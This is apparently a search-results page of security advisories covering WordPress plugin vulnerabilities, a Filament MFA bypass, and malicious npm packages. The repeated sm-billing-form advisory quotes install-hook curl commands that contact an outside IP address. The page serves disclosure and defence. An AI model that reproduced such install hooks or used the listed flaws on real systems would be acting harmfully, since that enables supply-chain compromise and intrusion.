34440 matches found
WordPress Kirki plugin < 6.2.1 - Unauthenticated Arbitrary Shortcode Execution via Form Email Actions vulnerability
Unauthenticated Arbitrary Shortcode Execution via Form Email Actions vulnerability discovered by Jakub Herman in WordPress Plugin Kirki versions 6.2.1...
Malicious Package
Overview tinkoff-boxy-form-desktop-sme-registration-ooo is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that...
Malicious Package
Overview tinkoff-mutual-mgm-form is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this packa...
Malicious code in sm-billing-form (npm)
Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s http://16.192.173.5/sm-billing-form/post on npm install. The requests...
Malicious Package
Overview sm-billing-form is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...
CVE-2026-78280: Cross-Site Request Forgery (CSRF)
Unauthenticated Cross Site Request Forgery CSRF in Hash Form = 1.4.0 versions...
PT-2026-80816
Unauthenticated Cross Site Request Forgery CSRF in Hash Form = 1.4.0 versions...
PT-2026-81029
Name of the Vulnerable Software and Affected Versions Filament versions prior to 4.12.0 Filament versions prior to 5.7.0 Description Incorrect handling of required fields in the challenge form allows the bypass of app-based multi-factor authentication when recovery codes are enabled. Email-based...
CVE-2026-77567: Improper Authentication
Filament is a collection of full-stack components for accelerated Laravel development. Prior to versions 4.12.0 and 5.7.0, incorrect challenge-form required-field handling allows app-based multi-factor authentication to be bypassed when recovery codes are enabled. Email-based multi-factor...
VulnCheck KEV: CVE-2026-18781
The Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin before 1.3.9.9 does not validate the final name of an uploaded file after stripping characters from it, allowing unauthenticated users to defeat its file type restrictions and execute arbitrary code on the server...
PT-2026-81015
Name of the Vulnerable Software and Affected Versions RansomLook affected versions not specified Description The authenticated /admin/apikeys administration page exposes complete API keys within the HTML source. While the user interface shows only a shortened version of the key, the full token is...
Malicious code in sm-billing-form (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...
MAL-2026-14395 Malicious code in sm-billing-form (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...
CVE-2026-77115
Brave Popup Builder brave-popup-builder up to version 0.8.5 reflects UTM query parameters into popup form HTML without escaping them...
EUVD-2026-64638
Brave Popup Builder brave-popup-builder up to version 0.8.5 reflects UTM query parameters into popup form HTML without escaping them...
CVE-2026-77115
The Brave Popup Builder (brave-popup-builder) WordPress plugin, versions
CVE-2026-77115 Brave Popup Builder < 0.8.6 - Unauthenticated Reflected XSS via UTM Parameters
Brave Popup Builder brave-popup-builder up to version 0.8.5 reflects UTM query parameters into popup form HTML without escaping them...
CVE-2026-77115 Brave Popup Builder < 0.8.6 - Unauthenticated Reflected XSS via UTM Parameters
Brave Popup Builder brave-popup-builder up to version 0.8.5 reflects UTM query parameters into popup form HTML without escaping them...
